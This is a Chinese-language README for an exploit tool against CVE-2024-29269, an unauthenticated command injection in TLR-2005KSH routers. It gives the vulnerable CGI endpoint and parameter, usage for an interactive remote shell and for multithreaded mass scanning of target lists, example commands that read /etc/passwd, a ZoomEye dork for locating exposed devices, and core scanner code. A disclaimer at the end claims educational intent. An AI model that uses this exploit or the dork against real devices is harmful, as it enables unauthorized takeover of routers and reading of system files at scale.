TLR-2005KSH 路由器未授权命令执行漏洞利用工具

0 阅读3分钟

🚀 CVE-2024-29269 漏洞利用工具

本项目提供了一个针对 TLR-2005KSH 路由器 未授权 OS 命令注入漏洞(CVE-2024-29269)的完整利用工具。该漏洞允许未经认证的攻击者在受影响设备上执行任意系统命令,工具支持单目标交互式操作和多目标批量扫描。

✨ 功能特性

  • 🔄 交互式执行模式 - 在单个目标上连续执行任意系统命令,实时获取返回结果
  • 📂 批量扫描模式 - 从文件中读取多个 URL 地址进行批量漏洞检测
  • 🧵 多线程并发 - 支持自定义线程数量,大幅提升批量扫描效率
  • 📝 结果输出 - 支持将扫描结果保存到指定文件中
  • 📊 进度可视化 - 批量扫描时显示实时进度条,清晰掌握扫描状态
  • 🎨 彩色终端输出 - 使用 rich_click 库实现美观的彩色日志输出,区分不同类型的消息

📦 安装指南

系统要求

  • Python 3.7 或更高版本
  • 支持 Windows / Linux / macOS

安装步骤

克隆仓库并安装依赖包:

git clone https://github.com/Chocapikk/CVE-2024-29269
cd CVE-2024-29269
pip install -r requirements.txt

依赖项

主要 Python 包依赖:

  • requests - HTTP 请求处理
  • rich-click - 增强型命令行界面与彩色输出
  • alive-progress - 动态进度条显示
  • prompt-toolkit - 交互式命令行历史记录支持

🔍 使用说明

基础用法

1. 交互式模式(单目标)

对单个 URL 进行交互式命令执行:

python exploit.py -u http://192.168.1.1

进入交互模式后,可直接输入系统命令(如 idlswhoami),工具会实时返回命令执行结果。

2. 批量扫描模式

从文件中读取多个 URL 进行批量检测:

python exploit.py -f urls.txt -t 50 -o results.txt

参数说明:

  • -f:包含目标 URL 列表的文件路径(每行一个 URL)
  • -t:并发线程数量(默认为 1,建议根据网络状况调整)
  • -o:输出结果保存文件路径(可选)

典型使用场景

场景一:单设备渗透测试

# 进入交互式 shell
python exploit.py -u http://target-router.local

# 在交互界面中执行
> cat /etc/passwd
> ps aux
> ifconfig

场景二:内网批量检测

# 使用 30 个线程扫描 1000 个目标,结果保存到 scan_results.txt
python exploit.py -f targets.txt -t 30 -o scan_results.txt

ZoomEye 搜索语法

使用以下 dork 在 ZoomEye 或 LeakIX 中查找潜在易受攻击的设备:

title:"Login to TLR-2005KSH"

💻 核心代码

SystemUtilScanner 类

核心扫描器类,负责处理 HTTP 请求、XML 解析和命令执行逻辑。

class SystemUtilScanner:
    def __init__(self, num_threads: int, output_file: Optional[str] = None):
        self.num_threads = num_threads
        self.output_file = output_file
        self.results = []

    def custom_print(self, message: str, header: str) -> None:
        """彩色日志输出,支持不同类型的消息标识"""
        header_colors = {"+": "green", "-": "red", "!": "yellow", "*": "blue"}
        header_color = header_colors.get(header, "white")
        formatted_message = click.style(
            f"[{header}] ", fg=header_color, bold=True
        ) + click.style(f"{message}", bold=True, fg="white")
        click.echo(formatted_message)

    def fetch_response(self, url: str, command: str = "hostname", 
                       verbose: bool = False, interactive: bool = False) -> Optional[str]:
        """向目标发送命令执行请求并解析响应"""
        endpoint = f"/cgi-bin/admin.cgi?Command=sysCommand&Cmd={command}"
        full_url = url.rstrip("/") + endpoint

        response = self.safe_request(full_url, verbose)
        if not response:
            return None

        results = self.parse_xml_response(response, verbose)
        if not results:
            if verbose:
                self.custom_print(f"No command results found in response from {url}", "-")
            return None

        result_message = "\n".join(results)
        if not interactive:
            self.custom_print(f"Vulnerable URL: {url} - Command results: {result_message}", "+")
        return result_message

主执行逻辑

多线程批量扫描的核心实现,使用 ThreadPoolExecutor 管理并发任务。

def main():
    # 参数解析与配置
    # 支持 -u (单目标) 和 -f (批量文件) 两种模式
    
    with ThreadPoolExecutor(max_workers=num_threads) as executor:
        futures = {executor.submit(process_url, url): url for url in urls}
        with alive_bar(len(urls)) as bar:
            for future in as_completed(futures):
                result = future.result()
                if result and output_file:
                    # 保存结果到文件
                    pass
                bar()

⚠️ 免责声明

本工具仅供教育和安全研究目的使用。使用者需遵守当地法律法规,仅在获得明确授权的系统上进行测试。未经授权访问计算机系统属于违法行为,作者不承担任何因滥用本工具造成的法律责任。 6HFtX5dABrKlqXeO5PUv/+Uv+VN7VH4nlU/ztqjc/e4=